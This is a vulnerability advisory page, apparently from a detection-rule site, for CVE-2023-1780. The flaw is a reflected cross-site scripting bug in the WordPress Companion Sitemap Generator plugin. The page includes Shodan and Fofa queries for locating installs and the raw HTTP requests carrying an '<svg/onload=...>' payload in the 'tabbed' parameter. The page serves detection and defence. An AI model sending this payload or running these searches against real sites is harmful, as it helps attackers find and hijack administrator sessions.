🔙 목록으로 돌아가기

CVE-2023-1780: Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting

TitleCompanion Sitemap Generator < 4.5.3 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactUnauthenticated attackers can inject malicious JavaScript through the tabbed parameter in sitemap generator pages to steal session cookies from high-privilege users including WordPress administrators.
RemediationFixed in version 4.5.3
CVSS Score6.1
EPSS Score0.12604
CVE IDCVE-2023-1780
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/companion-sitemap-generator/
Fofa Querybody=/wp-content/plugins/companion-sitemap-generator/
Tags cve cve2023 wpscan wp wordpress wp-scan xss authenticated codeermeneer vuln

🔍 Vulnerability Description

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=fFjP4z&pwd=Evvva7&wp-submit=Log+In
GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1780.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1780.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A